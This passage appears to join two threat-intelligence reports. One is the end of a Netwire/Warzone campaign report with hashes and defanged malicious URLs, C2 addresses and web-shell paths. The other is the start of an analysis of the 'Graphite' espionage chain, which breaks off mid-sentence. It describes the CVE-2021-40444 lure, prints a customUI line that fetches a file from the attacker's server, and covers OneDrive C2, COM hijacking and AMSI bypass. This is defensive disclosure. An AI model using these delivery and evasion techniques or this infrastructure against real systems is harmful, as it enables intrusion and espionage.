by threat actors as part of their campaign. You can try Secure Email for free here. Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/index.html https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/free-trial.html?utm_medium3Dweb-referral?utm_source3Dcisco26utm_campaign3Damp-free-trial26utm_term3Dpgm-talos-trial26utm_content3Damp-free-trial https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html https://www.cisco.com/c/en/us/products/security/email-security/index.html https://www.cisco.com/c/en/us/products/security/cloud-mailbox-defense?utm_medium3Dweb-referral26utm_source3Dcisco26utm_campaign3Dcmd-free-trial-request26utm_term3Dpgm-talos-trial https://www.cisco.com/c/en/us/products/security/firewalls/index.html https://www.cisco.com/c/en/us/products/collateral/security/firepower-ngfw-virtual/datasheet-c78-742858.html https://www.cisco.com/c/en/us/products/security/adaptive-security-appliance-asa-software/index.html https://meraki.cisco.com/products/appliances 26/32 Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device. Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. Umbrella, Ciscos secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here. Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Orbital Queries Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries on this threat, click below: Warzone/AVEMARIA Netwire registry Netwire downloader File enumerator IOCs Hashes Maldocs 9b7c0465236b7e1ba7358bdca315400f8ffc6079804f33e2ca4b5c467f499d1f eb40d1aab9a5e59e2d6be76a1c0772f0d22726dd238110168280c34695a8c48f 6b0fde73e638cb7cdb741cff0cc4ec872338c106ffe0c3a6712f08cdb600b83d https://www.cisco.com/c/en/us/products/security/stealthwatch/index.html https://www.cisco.com/c/en/us/products/security/threat-grid/index.html https://umbrella.cisco.com/ https://signup.umbrella.com/?utm_medium3Dweb-referral?utm_source3Dcisco26utm_campaign3Dumbrella-free-trial26utm_term3Dpgm-talos-trial26utm_content3Dautomated-free-trial https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html https://signup.duo.com/?utm_source3Dtalos26utm_medium3Dreferral26utm_campaign3Dduo-free-trial https://www.snort.org/products https://orbital.amp.cisco.com/help/ https://github.com/Cisco-Talos/osquery_queries/blob/master/win_malware/malware_avemaria_filepath.yaml https://github.com/Cisco-Talos/osquery_queries/blob/master/win_malware/malware_netwirerat_registry.json https://github.com/Cisco-Talos/osquery_queries/blob/master/win_malware/malware_netwire_downloader_filepath.yaml https://github.com/Cisco-Talos/osquery_queries/blob/master/win_malware/malware_file_enumerator_filepath.yaml 27/32 2b23c976b4aca2b9b61c474e0d6202644d97b48fa553cd6c9266c11b79d3cd13 41b1c3fa6b8a11fde6769650977d7bc34e0da91a23dd2b70220beec820e17d7a e6a73ef757c834e155a039619a1fdb1388f2a7ebe80accae8d13deeb3fd66471 89280f7e1785b1c85432b4cf3a284e44d333b2a1a43a2e52d7ce8680a807be03 302a973dc432975395c5f69a4c8c75bfffc31350176f52bddb8e4717bdbad952 5d3220db34868fc98137b7dfb3a6ee47db386f145b534fb4a13ef5e0b5df9268 62a890cce10f128f180d6e2b848ffff42e32859fe58a023b2bdb35dbe0a1713b 0d64fd162d94601ddd806df804103f3713c4aa43c201fffb9c92783c29d6094c 824bb11ef1520aecca35ad9abd8e043e4e00193668590d4aee2a41f205db7388 bdb40d5e73e848ada64f334eddd184fb67e2fcdc149248db641bb8d804468f1d eef5e86ebff5c59204009f4d421b80518ce3edf9c9b1bb45fb2197d9f652a927 c1eba59ce0ff5d8f57fe0ae0a9af20cb0fa725fc05a58869bb0b85c2d3b815fb Downloaders 49485a737673365489cb89ef1f5c29545051b33aa1642a8940e15ad281b76dfc a8c67a11ed522bf597feb8b50a5b63f12a5ac724ae6adcc945475654128f6d64 f8748c726bda6d67c7130aae8777d7dcb5b0cca8695041b290e9d9cb95a0a633 3cdedd433c9dde56bfa0a6559a97287c7aec3346178ce2d412a255d8ed347307 626f00a260880c6bfa0a955fd0c89336a691e438c4bc9206182a05db3774b75a 89db68dcdbae6fca380029c1e5c5158fb5d95db8034f1ee7dbac36cf07057828 68ddb86dd74285a0b6f12ec8adca9a8ea4569ef1143bec9e8ebe411b2a71720f c8ffb9d14a28fbc7e7f6d517b22a8bb83097f5bc464c52e027610ab93caec0d6 RunPE loader DLL d09cac8cd7c49b908e623220a9b2893822263ae993c867b5bd4fce562d02dcd5 C based netwire loaders 5965bba31eb30dedf795012e744fe53495d5b0c1bea52eea32e9924819e843d1 455ac9cc21fcb20a14caa76abd1280131fecae9d216b1f6961af2f13081c2932 304c2f88ccd6b0b00cfcb779b8958d9467c78f32b7177949899d3e818b3b9bed cf2261c7911f8481f7267b73b64546ca851b5471dab3290ce0140f956823348a 6f8267a673ca5bc9fa67198c9c74d34109baf862f9194bbb0ebcc7ddd7b66b91 ea201379e3d7343fc7a8fbe0451766f1cea36b66c13cfbf78c4ac7ffb1eb3d93 1455a003412e344d60c8bad71977aa42bb9825cffa5417e45b08070b14e5df3f netwireRC 28/32 91acdc04a03134c17ccff873f10e90c538ed74c7ab970b9899ac5c295e165a75 b76be2491b127a75c297b72e1cf79f46f99622ddf4ba3516a88b47d9b6df9131 d5b7edfc886c8228197b0cf20ab35f1bc0b5c652b1d766456d4e055ba6c9ea6e fd413ec8d9d798c28fc99c0633e6477f6eabc218788ad37c93be4de758a02962 cf2aec2969353dc99a7f715ac818212b42b8cff7a58c9109442f2c65ff62de42 8284550711419f4c65083dc5de3c6b92164d8d0835ec864e9a2db9c4c0d067e4 5f6571251fd36a4ec0b101c3b0be4099bc1c812d57bef57f310291d314e638ba 39ff95ecb1036aab88a146714bb5b189f6afc594ecf8ffbe8b123d1579a3a259 3e59b3504954efd9b4231cb208296ed9f19f4430e19db81e942b304ee0255324 cd43bac8f7a0a3df4f654ed698f5828db7a05c771956b924bfd6bd5ba09e2360 051f67ba58bd2b7751541bf2eb3a09642a00a43052c0d3487a182345828ee076 aa3d57993bbc7aefdc05e0e99ccdb5e884aa530ae90437157c7ba2308d9c4d3c 8ce30043aba8c9ad33c11c3de152fe142ba7b710384f77d332076957d96e19b2 5226a12dc7f7b5e28732ad8b5ad6fa9a35eadfbeec122d798cd53c5ef73fe86a 2a7f0af4650edb95eb7a380de6d42db59d8dd220bb4831e30e06450e149eea49 7c12a820fd7e576f3a179cdccaefbfcd090e0f890fccfab7615bc294795dc244 977d5b4b945cfce92e40e4d5447626f3ffb7697d98f651b9598edfd58074b9c0 98337b43e214906b10222722607f76d07a5c0419a9dc3b3af415680c60944809 2443e8ccdf51e82d310466955a70013155c139564672b2f79db7209207776bd2 de10443785cf7d22db92fada898a77bc32c7505931b692110d2d5cd63c5b4853 Warzone/AVEMARIA b891fad315c540439dba057a0f4895ae8bae6eed982b0bf3fb46801a237c8678 aa2b8412cf562c334052d5c34a2e5567090e064b570884d6f4d3e28806822487 999f4892d10eb6cfabe172338c1e7dd3126a2cd435bdb59748178f1d4d2d3b33 140e0524f4770fc2543b86f1d62aaa6b3018c54e40250040feaa2f24bdbe974d 0df12b0f704dbd5709f86804db5863bd0e6d6668d45a8ff568eefbaa2ebfb9fd 369e794e05e0d7c9bba6dde5009848087a2cd5e8bf77583d391e0e51d21a52cd 480e57131bd186e31ab5ea534381d7b93c8030f8b5757bde9d0b6039efa3e64d File Enumerators df780cccc044ee861af1089eb7498a612e6d740a609e500fd3c2a35d2c9c31e0 a20970aa236aa60d74841e7af53990c5da526f406c83fd1bedb011290517d9b0 54a65835dc5370b089c38414972c8da589512cf73b159e8187cdda62092dc463 3634b81f8b91d723733cc44429d221e53b2a7bf121e42bd26078602f4ff48f86 VBS 29/32 e9edb427d080c0a82e7b1c405171746cb632601b3d66f9d7ad5fa36fd747e4e4 Malicious archives 2f98235351c6d6bafbb237195f2556abde546578aefd7d94f8087752551afc15 87fc9901eb7c3b335b82c5050e35458a2154747cd3e61110eed4c107f4ffada9 b4c0f24a860f14b7a7360708a4aee135bf1a24d730d7794bc55e53a31a0e57a5 ba710351cfdf6b198d7479a91e786562ddb5e80db5dc9ad42278093a3395fca9 8e7d5805a104dc79355387dbd130e32d183b645f42f7b35c195041d1cf69f67e 2b7ac9063a530e808ffac5cf9812d850dd5fa4d1f014ba5134ad023fde503d21 de245cd946e48a4b1c471b17beff056b1a2566770a96785208c698f85fb73db2 689f3ff0a3331e198ea986864b2b23a62631c930d83b971382b4732474884953 3794cfe8f3da39924cabd03d74aa95fb5d0c25c73d09cc99ad95c3f4e17252b8 5a351acfe61a0ad9444b8d23c9915d7beb084abd7b346b9d064e89914552596d Malicious server side scripts a8af6228296bc9ac2cd7b7bf503c9755947c844fec038255189a351bcb92bb6d b54f21a5d20457424440fdf5a57c67924854b47cf85d6a5f26daeaf183e82b69 8ea420deaa86c778fc6a3b1b22bd0c2ea822089e948ad8f113c9e5b0539e92a7 c86f6fdb6b360c12de1f75c026dc287aa9de1b8e9b5e5439eeab9e33de3e475e 8cca06ea80a92f31418f2ed0db5e1780cc982ab185f9bf15fa6f396b561aad1f b9b04fcae747407b9e5ddec26438d9edf046de0745ea4175e4d534a7b575d152 4ded1042a6cd3113bb42c675257d7d0153a22345da62533bd059d9bdd07c000f 65ed397a4a66f45f332269bec7520b2644442e8581f622d589a16ad7f5efbf82 c6ea094954a62cf50d3369f6ea1d9e7d539bb7eb6924005c3c1e36832ed3d06e c9a88d569164db35c8b32c41fda5c3bd4be0758fa0ea300f67fbb37ddc1f3f8d c75cc5af141dc8ea90d7d44d24ff58a6b3b0c205c8d4395b07de42d285940db1 8b4a7d6b3de3083a8b71ec64ff647218343f4431bbb93a6ce18cb5f33571a38e 37d0d9997776740ae3134ec6a15141930a9521cd11e2fbb8d0df6d308398f32e Network IOCs Maldoc download locations hxxp://service[.]clickaway[. ]com//ccrs_tool/uploads/722CDfdBpfUbRyg.bbc hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/feedback.docm hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/Security-Updates.docm 30/32 hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/r.docm hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/abc/r.docm hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/abc/CONFD-PERS-Letter.docm hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/KAVACH-INSTALLATION-VER1.5.docm hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/ma/KAVACH-INSTALLATION-VER-1.docm hxxps://aps[.]govrn[. ]xyz/schedule2021.docm Loader/RAT download locations hxxp://www[. ]bookiq.bsnl.co.in/data_entry/circulars/QA2E.exe hxxp://www[. ]bookiq.bsnl.co.in/data_entry/circulars/Host1.exe hxxp://www[.]bookiq[.]bsnl[.]co[. ]in/data_entry/circulars/mac.exe hxxp://www[.]bookiq[.]bsnl[.]co[. ]in/data_entry/circulars/mmaaccc.exe hxxp://www[.]bookiq[.]bsnl[.]co[. ]in/data_entry/circulars/mac.exe hxxp://www[.]bookiq[.]bsnl[.]co[. ]in/data_entry/circulars/mmaaccc.exe hxxp://www[.]bookiq[.]bsnl[.]co[. ]in/data_entry/circulars/mmaaccc.exe hxxp://www[.]bookiq[.]bsnl[.]co[. ]in/data_entry/circulars/Host1.exe hxxp://bookiq[.]bsnl[.]co[. ]in/data_entry/circulars/Host.exe hxxps://kavach[.]govrn[. ]xyz/shedule.exe hxxp://unicauca[.]edu[. ]co/regionalizacion/sites/default/files/kavach-1-5/Acrobat.exe hxxp://45[. ]79.81.88/ccrs_tool/uploads/mac.exe hxxp://45[. ]79.81.88/ccrs_tool/uploads/maaccc.exe hxxp://45[. ]79.81.88/ccrs_tool/uploads/maacc.exe hxxp://45[. ]79.81.88/ccrs_tool/uploads/VPN.exe hxxp://45[. ]79.81.88/ccrs_tool/uploads/conhost213.exe hxxp://45[.]79.81[. ]88/ccrs_tool/uploads/new_war.exe hxxp://45[. ]79.81.88/ccrs_tool/uploads/private.exe hxxp://45[.]79[.]81[. ]88/ccrs_tool/uploads/notice.exe hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/conhost123.exe hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/Host1.exe hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/mac.exe hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/maaacccc.exe hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/maaccc.exe hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/maacc.exe hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/VPN.exe hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/new_war.exe hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/ma/mmmaaaacccccc.exe hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/client.exe hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/private.exe hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/notice.exe hxxp://service[.]clickaway[. ]com/swings/haryanatourism/gita-jayanti/invited.exe 31/32 hxxp://service[.]clickaway[. ]com/swings/haryanatourism/gita-jayanti/details.exe hxxps://www[.]ramanujan[.]edu[. ]in/cctv-footage/footage-346.exe hxxp://thedigitalpoint[.]co[. ]in/zomato/vouchers/zomato-voucher.zip hxxp://66[.]154[. ]112.212/GOM.exe hxxps://dsoipalamvihar[.]co[. ]in/manage/OperatorImages/exe/GOM_Player.exe File Enumerator C2s hxxp://64[.]188[.]13[. ]46/oiasjdoaijsdoiasjd/ warzone/AveMaria C2s 5[.]252[.]179[. ]221:6200 64[.]188[.]13[. ]46 netwireRC C2s 66[.]154[.]103[. ]106:13374 66[.]154[.]103[. ]106:13371 66[.]154[.]103[. ]106:13377 Malicious archive download locations hxxps://www.unicauca[.]edu[. ]co/regionalizacion/sites/default/files/Meeting-details.zip hxxps://www.unicauca[.]edu[. ]co/regionalizacion/sites/default/files/kavach-1-5/kavach-2-instructions.zip hxxp://www.unicauca[.]edu[. ]co/regionalizacion/sites/default/files/kavach-1-5/KAVACH-INSTALLATION- V3.zip hxxps://dsoipalamvihar[.]co[. ]in/pdf/important_notice.zip hxxp://lms[.]apsdigicamp[. ]com/webapps/uploads/acc/cctv-footages/student-termination-and-proof.zip hxxp://beechtree[.]co[. ]in/Admin/IconImages/progress-reports/Progress-report-43564.zip RunPe download URLs hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/RunPe.dll Misc URLs hxxps://www[.]dropbox[. ]com/s/w8tc18w2lv1kv6d/msovb.vbs?dl1 hxxps://www[.]dropbox[. ]com/s/lt7a981theoyajy/adobecloud.7z hxxps://pastebin[. ]com/raw/mrwtZi34 32/32 Malicious server-side script URLs hxxp://lms[.]apsdigicamp[. ]com/webapps/uploads/resume/mailer.php.zip hxxp://lms[.]apsdigicamp[. ]com/webapps/uploads/resume/mailer.php/mailer.php hxxp://lms[.]apsdigicamp[. ]com/webapps/uploads/resume/mailer.php hxxp://lms[.]apsdigicamp[. ]com/webapps/uploads/resume/4O4.php hxxp://lms[.]apsdigicamp[. ]com/webapps/uploads/resume/b374k_rs.pl hxxp://lms[.]apsdigicamp[. ]com/webapps/uploads/resume/pack.php hxxp://lms[.]apsdigicamp[. ]com/webapps/uploads/resume/cc.php hxxp://lms[.]apsdigicamp[. ]com/webapps/uploads/resume/leafmailer2.8.php hxxp://lms[.]apsdigicamp[. ]com/webapps/uploads/acc/oodi.html hxxp://lms[.]apsdigicamp[. ]com/webapps/uploads/progress-report/ hxxp://lms[.]apsdigicamp[. ]com/webapps/uploads/progress-report/index.html hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/1594066203_4O4.php hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/mailer.php hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/leaf.php hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/leafmailer2.8.php hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/1622640929_myshell.php hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/newfil.html hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/1594066203_ang3l.html hxxp://service[.]clickaway[. ]com/ccrs_tool/uploads/1594066203_up.htm 1/23 Prime Ministers Office Compromised: Details of Recent Espionage Campaign trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html By Marc Elias January 25, 2022 A special thanks to Christiaan Beek, Alexandre Mundo, Leandro Velasco and Max Kersten for malware analysis and support during this investigation. Executive Summary Our Advanced Threat Research Team have identified a multi-stage espionage campaign targeting high-ranking government officials overseeing national security policy and individuals in the defense industry in Western Asia. As we detail the technical components of this attack, we can confirm that we have undertaken pre-release disclosure to the victims and provided all necessary content required to remove all known attack components from their environments. The infection chain starts with the execution of an Excel downloader, most likely sent to the victim via email, which exploits an MSHTML remote code execution vulnerability (CVE- 2021-40444) to execute a malicious executable in memory. The attack uses a follow-up piece of malware called Graphite because it uses Microsofts Graph API to leverage OneDrive as a command and control servera technique our team has not seen before. Furthermore, the attack was split into multiple stages to stay as hidden as possible. Command and control functions used an Empire server that was prepared in July 2021, and the actual campaign was active from October to November 2021. The below blog will explain the inner workings, victimology, infrastructure and timeline of the attack and, of course, reveal the IOCs and MITRE ATTCK techniques. A number of the attack indicators and apparent geopolitical objectives resemble those associated with the previously uncovered threat actor APT28. While we dont believe in attributing any campaign solely based on such evidence, we have a moderate level of confidence that our assumption is accurate. That said, we are supremely confident that we are dealing with a very skilled actor based on how infrastructure, malware coding and operation were setup. Trellix customers are protected by the different McAfee Enterprise and FireEye products that were provided with these indicators. Analysis of the Attack Process https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html https://www.trellix.com/en-gb/about/newsroom/stories/contributors/marc-elias.html https://www.trellix.com/en-gb/about/newsroom/stories/contributors/christiaan-beek.html https://www.trellix.com/en-gb/about/newsroom/stories/contributors/max-kersten.html https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-defender-blog-mshtml-cve-2021-40444/ 2/23 This section provides an analysis of the overall process of the attack, beginning with the execution of an Excel file containing an exploit for the MSHTML remote code execution vulnerability (CVE-2021-40444) vulnerability. This is used to execute a malicious DLL file acting as a downloader for the third stage malware we called Graphite. Graphite is a newly discovered malware sample based on a OneDrive Empire Stager which leverages OneDrive accounts as a command and control server via the Microsoft Graph API. The last phases of this multi-stage attack, which we believe is associated with an APT operation, includes the execution of different Empire stagers to finally download an Empire agent on victims computers and engage the command and control server to remotely control the systems. The following diagram shows the overall process of this attack. Figure 1. Attack flow First Stage Excel Downloaders As suggested, the first stage of the attack likely uses a spear phishing email to lure victims into opening an Excel file, which goes by the name parliament_rew.xlsx. Below you can see the identifying information for this file: File type Excel Microsoft Office Open XML Format document File name parliament_rew.xlsx File size 19.26 KB Compilation time 05/10/2021 MD5 8e2f8c95b1919651fcac7293cb704c1c SHA-256 f007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4 https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-defender-blog-mshtml-cve-2021-40444/ 3/23 Figure 2. Decoy text observed in the Excel file In analyzing this files structure, we observed that it includes a folder named customUI that contains a file named customUI.xml. Opening this file with a text editor, we observed that the malicious document uses the CustomUI.OnLoad property of the OpenXML format to load an external file from a remote server: customUI xmlnshttp://schemas.microsoft.com/office/2006/01/customui onLoadhttps://wordkeyvpload[. ]net/keys/parliament_rew.xls123 /customUI This technique allows the attackers to bypass some antivirus scanning engines and office analysis tools, decreasing the chances of the documents being detected. The downloaded file is again an Excel spreadsheet, but this time it is saved using the old Microsoft Office Excel 97-2003 Binary File Format (.xls). Below you can see the identifying information of the file: File type Microsoft Office Excel 97-2003 Binary File Format File name parliament_rew.xls File size 20.00 KB Compilation time 05/10/2021 MD5 abd182f7f7b36e9a1ea9ac210d1899df SHA-256 7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a Analyzing the metadata objects, we can identify that the creator was using the codepage 1252 used in Western European countries and the file was created on October 5th, 2021. 4/23 Figure 3. Document metadata Later, we analyzed the OLE objects in the document and discovered a Linked Object OLEStream Structure which contains a link to the exploit of the CVE-2021-40444 vulnerability hosted in the attackers server. This allows the document to automatically download the HTML file and subsequently call the Internet Explorer engine to interpret it, triggering the execution of the exploit. Figure 4. Remote link in OLE object In this blog post we wont examine the internals of the CVE-2021-40444 vulnerability as it has already been publicly explained and discussed. Instead, we will continue the analysis on the second stage DLL contained in the CAB file of the exploit. Second Stage DLL Downloader The second stage is a DLL executable named fontsubc.dll which was extracted from the CAB file used in the exploit mentioned before. You can see the identifying information of the file below: File type PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit 5/23 File name fontsubc.dll File size 88.50 KB Compilation time 28/09/2021 MD5 81de02d6e6fca8e16f2914ebd2176b78 SHA-256 1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40 This file exports a function called CPlApplet that Windows recognizes as a control panel application. Primarily, this acts a downloader for the next stage malware which is located at hxxps://wordkeyvpload[.]net/keys/update[. ]dat using COM Objects and the API URLOpenBlockingStreamW. Figure 5. Download of next stage malware After downloading the file, the malware will decrypt it with an embedded RSA Public Key and check its integrity calculating a SHA-256 of the decrypted payload. Lastly, the malware will allocate virtual memory, copy the payload to it and execute it. 6/23 Figure 6. Payload decryption and execution Before executing the downloaded payload, the malware will compare the first four bytes with the magic value DE 47 AC 45 in hexadecimal if they are different, it wont execute the payload. Figure 7. Malware magic value Third Stage Graphite Malware The third stage is a DLL executable, never written to disk, named dfsvc.dll that we were able to extract from the memory of the previous stage. Below you can see the identifying information of the file: File type PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit File name dfsvc.dll File size 24.00 KB 7/23 Compilation time 20/09/2021 MD5 0ff09c344fc672880fdb03d429c7bda4 SHA-256 f229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231 We named this malware Graphite due to the use of the Microsoft Graph API to use OneDrive as command and control. It is very likely that the developers of Graphite used the Empire OneDrive Stager as a reference due to the similarities of the functionality and the file structure used in the OneDrive account of the actors. Figure 8. Empire OneDrive stager API requests Graphite starts by creating a mutex with the hardcoded name 250gHJAWUI289382s3h3Uasuh289di to avoid double executions, decrypt the strings and resolve dynamically the APIs it will use later. Moreover, it will calculate a bot identifier to identify the infected computer which is a CRC32 checksum of the value stored in the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Cryptography\MachineGuid. Figure 9. Graphite initializations Next, the malware will create a thread to monitor the execution of tasks and upload its results to the OneDrive account. Result files will be uploaded to the update folder of the attackers OneDrive account. 8/23 Figure 10. Thread to monitor task results After that, the malware will enter into an infinite loop where every 20 minutes it will obtain a new OAuth2 token to use with the Microsoft Graph API requests and determine if there are new tasks to execute in the check folder of the attackers OneDrive account. Figure 11. Request of new OAuth2 token Once it obtained a valid OAuth2 token, reconnaissance data is gathered containing the following information from the victims systems: Running processes .NET CLR version from PowerShell 9/23 Windows OS version The data is compressed using the LZNT1 algorithm and encrypted with a hardcoded AES- 256-CBC key with a random IV. The operator tasks are encoded in the same way. Finally, the file containing the system information is uploaded to the folder BOT_ID/update in OneDrive with a random name. Figure 12. Graphite encoding data Graphite will also query for new commands by enumerating the child files in the check subdirectory. If a new file is found, it will use the Graph API to download the content of the file and decrypt it. The decrypted tasks have two fields the first one is a unique identifier of the task and the second one specifies the command to execute. The command value 1 will instruct the malware to send the system information to the command and control again, which is the attackers OneDrive. The command value 2 indicates that the decrypted task is a shellcode, and the malware will create a thread to execute it. 10/23 Figure 13. Graphite commands If the received task is a shellcode, it will check the third field with the magic value DE 47 AC 45 in hexadecimal and, if they are different, it wont execute the payload. The rest of the bytes of the task is the shellcode that will be executed. Lastly, the task files are deleted from the OneDrive after being processed. Figure 14. Decrypted operator task The diagram below summarizes the flow of the Graphite malware. 11/23 Figure 15. Graphite execution diagram Fourth Stage Empire DLL Launcher Stager The fourth stage is a dynamic library file named csiresources.dll that we were able to extract from a task from the previous stage. The file was embedded into a Graphite shellcode task used to reflectively load the executable into the memory of the process and execute it. Below you can see the identifying information of the file: File type PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit File name csiresources.dll File size 111.00 KB Compilation time 21/09/2021 MD5 138122869fb47e3c1a0dfe66d4736f9b SHA-256 25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9 12/23 The sample is a generated Empire DLL Launcher stager that will initialize and start the .NET CLR Runtime into an unmanaged process to execute a download-cradle to stage an Empire agent. With that, it is possible to run the Empire agent in a process thats not PowerShell.exe. First, the malware will check if the malware is executing from the explorer.exe process. If it is not, the malware will exit. Figure 16. Process name check Next, the malware will try to find the file EhStorShell.dll in the System32 folder and load it. With this, the malware makes sure that the original EhStorShell.dll file is loaded into the explorer.exe context. Figure 17. Loading EhStorShell.dll library The previous operation is important because the follow-up malware will override the CLSID D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D to gain persistence in the victims system, performing a COM Hijacking technique. The aforementioned CLSID corresponds to the Enhanced Storage Shell Extension DLL and is handled by the file EhStorShell.dll. Coming up next, the malware will load, initialize and start the .NET CLR Runtime, XOR decrypt the .NET next stage payload and load it into memory. Lastly, it will execute the file using the .NET Runtime. Figure 18. Decryption of next stage malware 13/23 Fifth Stage Empire PowerShell C Stager The fifth stage is a .NET executable named Service.exe which was embedded and encrypted in the previous stage. Below you can see the identifying information of the file: File type PE32 executable for MS Windows (console) Intel 80386 32-bit File size 34.00 KB MD5 3b27fe7b346e3dabd08e618c9674e007 SHA-256 d5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317 This sample is an Empire PowerShell C Stager whose main goal is to create an instance of a PowerShell object, decrypt the embedded PowerShell script using XOR operations and decode it with Base64 before finally executing the payload with the Invoke function. Figure 19. Fifth stage code The reason behind using a .NET executable to load and execute PowerShell code is to bypass security measures like AMSI, allowing execution from a process that shouldnt allow it. Sixth Stage Empire HTTP PowerShell Stager The last stage is a PowerShell script, specifically an Empire HTTP Stager, which was embedded and encrypted in the previous stage. Below you can see the identifying information of the file: File type Powershell script File size 6.00 KB MD5 a81fab5cf0c2a1c66e50184c38283e0e SHA-256 da5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37 14/23 As we mentioned earlier, this is the last stage of the multi-stage attack and is an HTTP stager highly obfuscated using the Invoke-Obfuscation script from Empire to make analysis difficult. Figure 20. Obfuscated PowerShell script The main functionality of the script is to contact hxxp://wordkeyvpload[.]org/index[. ]jsp to send the initial information about the system and connect to the URL hxxp://wordkeyvpload[.]org/index[. ]php to download the encrypted Empire agent, decrypt it with AES-256 and execute it. Timeline of Events Based on all the activities monitored and analyzed, we provide the following timeline of events: Figure 21. Timeline of the campaign Targeting One of the lure documents we mentioned before (named parliament_rew.xlsx) might have been aimed for targeting government employees. Besides targeting government entities, it appears this adversary also has its sights on the defense industry. Another document with the name Missions Budget.xlsx contained the text Military and civilian missions and operations and the budgets in dollars for the military operations in some countries for the years 2022 and 2023. 15/23 Figure 22. Lure document targeting the defense sector Moreover, from our telemetry we also have observed that Poland and other Eastern European countries were of interest to the actors behind this campaign. The complete victimology of the actors is unknown, but the lure documents we have seen show its activities are centered in specific regions and industries. Based on the names, the content of the malicious Excel files and our telemetry, it seems the actors are targeting countries in Eastern Europe and the most prevalent industries are Defense and Government. Infrastructure Thanks to the analysis of the full attack chain, two hosts related to the attack were identified. The first domain is wordkeyvpload.net which resolves to the IP 131.153.96.114, located in Serbia and registered on the 7th of July 2021 with OwnRegistrar Inc. Querying the IP with a reverse DNS lookup tool, a PTR record was obtained resolving to the domain bwh7196.bitcoinwebhosting.net which could be an indication that the server was bought from the Bitcoin Web Hosting VPS reseller company. Figure 23. Reverse DNS query The main functionality of this command-and-control server is to host the HTML exploit for CVE-2021-40444 and the CAB file containing the second stage DLL. The second domain identified is wordkeyvpload.org which resolves to the IP 185.117.88.19, located in Sweden, and registered on the 18th of June 2021 with Namecheap Inc. Based on the operating system (Microsoft Windows Server 2008 R2), the HTTP server (Microsoft- 16/23 IIS/7.5) and the open ports (1337 and 5000) it is very likely the host is running the latest version of the Empire post-exploitation framework. The reason behind that hypothesis is that the default configuration of Empire servers uses port 1337 to host a RESTful API and port 5000 hosts a SocketIO interface to interact remotely with the server. Also, when deploying a HTTP Listener, the default value for the HTTP Server field is hardcoded to Microsoft-IIS/7.5. Figure 24. Local Empire server execution with default configuration With the aforementioned information, as well as the extraction of the command and control from the last stage of the malware, we can confirm that this host acts as an Empire server used to remotely control the agents installed in victims machines and send commands to execute them. Attribution During the timeline of this operation there have been some political tensions around the Armenian and Azerbaijani border. Therefore, from a classic intelligence operation point of view, it would make complete sense to infiltrate and gather information to assess the risk and movements of the different parties involved. 17/23 Throughout our research into the Graphite campaign, we extracted all timestamps of activity from the attackers from our telemetry and found two consistent trends. First, the activity days of the adversary are from Monday to Friday, as depicted in the image below: Figure 25. Adversarys working days Second, the activity timestamps correspond to normal business hours (from 08h to 18h) in the GMT3 time zone, which includes 